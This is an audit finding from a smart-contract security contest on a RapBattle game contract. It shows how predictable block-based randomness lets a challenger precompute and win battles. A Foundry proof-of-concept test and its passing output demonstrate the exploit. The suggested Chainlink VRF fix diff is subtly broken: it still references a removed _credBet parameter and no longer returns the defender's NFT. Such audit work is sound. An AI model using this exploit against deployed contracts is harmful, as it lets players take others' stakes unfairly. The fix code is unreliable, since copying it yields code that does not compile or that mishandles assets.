Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challenger can win a battle by guessing the random number

Summary

Any user can win a battle by guessing the random number and waiting for the right moment.

Vulnerability Details

Generating random numbers based on block data is not secure, as an attacking contract can precalculate it and make decisions in its favor. In this case, a hash generated from block.timestamp, block.prevrandao, and msg.sender is being used, which are values that are available before entering the battle.

Furthermore, in Arbitrum, block.prevrandao is a constant 1, so the randomness is further diminished.

With this, a malicious challenger can guess the battle calculations and know in advance if he will win the battle.

In this test, the defender prepares a battle, and the challenger waits for a block where he is the winner.

function testChallengerWinsByGuessingRandom(uint256 blockNumber) public twoSkilledRappers {
// Initial values
uint256 initialChallengerBalance = cred.balanceOf(challenger);
// Prepare battle
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
// Init block
vm.assume(blockNumber < type(uint256).max / 12);
vm.roll(blockNumber);
vm.warp(blockNumber * 12);
// Prepare attack
uint256 loop = 0;
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(0);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
do {
// Update block
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
// Precalculate random
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
// If challenger is going to win, go into battle. Not even need to give approvals.
if (rapBattle.defender() != address(0) && random > defenderRapperSkill) {
vm.prank(challenger);
rapBattle.goOnStageOrBattle(1, 3);
break;
}
} while (loop < 100);
// Final checks
uint256 finalChallengerBalance = cred.balanceOf(challenger);
assertEq(finalChallengerBalance, initialChallengerBalance + 3);
}

Test passes

Ran 1 test for test/OneShotTestAudit.t.sol:RapBattleTest
[PASS] testChallengerWinsByGuessingRandom(uint256) (runs: 256, μ: 625514, ~: 625376)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.12s

Impact

An attacker can unfairly win a battle without risking his funds.

Tools Used

Foundry, Manual review

Recommendations

Implement a solution with a verifiable source of randomness, to ensure that the outcome of the battle cannot be precalculated.

You can use Chainlink VRF (refer to the official documentation for the initialization of VRFConsumerBase). To achieve this, you have to modify the battle logic.

Firstly, the challenger should deposit his funds and NFT, just like the defender:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ challenger = msg.sender;
+ challengerTokenId = _tokenId;
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
+ credToken.transferFrom(msg.sender, address(this), _credBet);
- _battle(_tokenId, _credBet);
+ // Request the random number
+ return requestRandomness(keyHash, fee);
}
}```
When Chainlink VRF returns the random number, we start the battle:
```diff
+function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ require(randomness > 0, "Random not found");
+ _battle(randomness);
+}

And _battle() function could be modified as follows:

-function _battle(uint256 _tokenId, uint256 _credBet) internal {
+function _battle(uint256 randomness) internal {
address _defender = defender;
+ address _challenger = challenger;
+ require(_defender != address(0), "No defender");
+ require(_challenger != address(0), "No challenger");
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
- uint256 challengerRapperSkill = getRapperSkill(_tokenId);
+ uint256 challengerRapperSkill = getRapperSkill(challengerTokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
- uint256 random =
- uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
+ uint256 random = randomness % totalBattleSkill;
// Reset the defender
defender = address(0);
+ challenger = address(0);
- emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
+ emit Battle(_challenger, challengerTokenId, random <= defenderRapperSkill ? _defender : _challenger);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
- credToken.transfer(_defender, defenderBet);
- credToken.transferFrom(msg.sender, _defender, _credBet);
+ credToken.transfer(_defender, totalPrize);
} else {
- // Otherwise, since the challenger never sent us the money, we just give the money in the contract
- credToken.transfer(msg.sender, _credBet);
+ credToken.transfer(_challenger, totalPrize);
}
totalPrize = 0;
// Return the defender's NFT
- oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
+ oneShotNft.transferFrom(address(this), _challenger, challengerTokenId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.